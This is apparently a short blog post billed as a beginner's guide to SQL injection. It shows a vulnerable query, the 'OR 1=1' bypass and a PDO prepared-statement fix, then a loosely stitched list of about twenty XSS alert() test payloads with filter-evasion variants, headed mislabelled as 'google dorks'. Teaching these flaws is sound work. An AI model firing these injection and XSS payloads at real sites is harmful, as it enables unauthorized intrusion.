Advertisement

🔐Unlocking the Digital Gates: A Beginner’s Guide to SQL Injection 💉

 

Commands— — — -:: — — —— — -:: —— -Usage

SELECT column1, column2, ... FROM table_name WHERE condition
SELECT * FROM customers WHERE age >= 18;
-- This is an example of a SQL injection attack.
-- The following query is vulnerable to SQL injection:
SELECT * FROM users WHERE username = '$username';

-- An attacker can manipulate the $username variable to inject malicious SQL code:
SELECT * FROM users WHERE username = 'admin' OR '1'='1';

-- This would result in the SQL query being:
SELECT * FROM users WHERE username = 'admin' OR '1'='1';

-- This would return all users from the database, including the admin user.
-- To prevent SQL injection, you should use parameterized queries or prepared statements.
// Using PDO to prepare and execute a parameterized query
$pdo = new PDO('mysql:host=localhost;dbname=test', 'username', 'password');
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ?');
$username = 'admin'; // This could be user input
$stmt->execute([$username]);
$users = $stmt->fetchAll();
UPDATE Customers
SET first_name = 'Tom'
WHERE id = 123;
some google dorks here: 
<script>alert(123);</script>
<ScRipT>alert("XSS");</ScRipT>
<script>alert(123)</script>
<script>alert("hellox worldss");</script>
<script>alert('XSS')</script>
<script>alert('XSS');</script>
<script>alert('XSS')</script>
'><script>alert('XSS')</script>
<script>alert(/XSS/)</script>
<script>alert(/XSS/)</script>
</script><script>alert(1)</script>
'; alert(1);
')alert(1);//
<ScRiPt>alert(1)</sCriPt>
<IMG SRC=jAVasCrIPt:alert('XSS')>
<IMG SRC='javascript:alert('XSS');'>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG SRC=javascript:alert('XSS')>
<img src=xss onerror=alert(1)>

Post a Comment

0 Comments